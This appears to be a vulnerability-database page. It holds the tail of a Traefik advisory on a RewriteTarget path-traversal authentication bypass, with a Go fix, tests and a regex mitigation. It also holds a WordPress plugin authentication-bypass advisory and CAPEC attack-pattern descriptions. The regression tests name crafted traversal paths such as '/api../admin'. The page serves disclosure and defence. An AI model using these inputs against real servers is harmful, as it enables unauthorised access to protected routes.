req.URL.JoinPath()\n}\n\nif path != req.URL.Path {\n logger.Debug().Msgf(\n \"Rejecting request, normalized path %q differs from rewritten path %q\",\n req.URL.Path,\n path,\n )\n http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n return\n}\n\nreq.RequestURI = req.URL.RequestURI()\n```\n\nRecommended additional actions:\n\n1. Centralize the post-transformation path validation used by `ReplacePathRegex`, `StripPrefix`, `StripPrefixRegex`, and ingress-nginx `RewriteTarget` to prevent future drift.\n2. Add regression tests for `/api../admin` and `/api%2e%2e/admin`, expecting HTTP 400.\n3. Test both `URL.Path` and `URL.RawPath` cases and preserve legitimate encoded-path behavior.\n4. Audit the ingress-nginx snippet `rewrite` implementation for the same post-rewrite invariant.\n\n### Temporary Mitigation\n\nUse a regex that requires a separator or end-of-path before captured user data, for example:\n\n```yaml\nnginx.ingress.kubernetes.io/use-regex: \"true\"\nnginx.ingress.kubernetes.io/rewrite-target: \"/$2\"\n\n# Ingress path:\npath: /api(/|$)(.*)\n```\n\nThis prevents `/api../admin` from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point `sanitizePath=true` alone is not a mitigation because the dangerous dot segment is created after sanitization.\n\n## Duplicate Check\n\nAs of 2026-07-09:\n\n- Traefik\u0027s public security advisories contain no entry mentioning `RewriteTarget` or ingress-nginx `rewrite-target` path traversal.\n- Public issue and pull-request searches found no report for this path-normalization bypass.\n- GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes `pkg/middlewares/replacepathregex`, while this report affects `pkg/middlewares/ingressnginx/rewritetarget` and reproduces on the version that contains that fix, v3.7.7.\n\n## Disclosure\n\nIf confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-8rxv-jg7p-wvg3",
"modified": "2026-08-06T16:45:53Z",
"published": "2026-08-06T16:45:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67309"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/759515bec1b9f628b21ea8968ef63da853be5e29"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass"
}
GHSA-8V37-Q45V-WGRX
Vulnerability from github – Published: 2025-08-23 09:30 – Updated: 2025-08-23 09:30
VLAI
Details
The Case Theme User plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.0.3. This is due to the plugin not properly logging a user in with the data that was previously verified through the facebook_ajax_login_callback(). This makes it possible for unauthenticated attackers to log in as administrative users, as long as they have an existing account on the site, and access to the administrative user's email.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2025-5821"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-23T07:15:32Z",
"severity": "CRITICAL"
},
"details": "The Case Theme User plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.0.3. This is due to the plugin not properly logging a user in with the data that was previously verified through the facebook_ajax_login_callback(). This makes it possible for unauthenticated attackers to log in as administrative users, as long as they have an existing account on the site, and access to the administrative user\u0027s email.",
"id": "GHSA-8v37-q45v-wgrx",
"modified": "2025-08-23T09:30:22Z",
"published": "2025-08-23T09:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5821"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/consultio-consulting-business-wordpress/25376496"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3ce95a04-11bd-488e-ad25-1b661e083eb2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.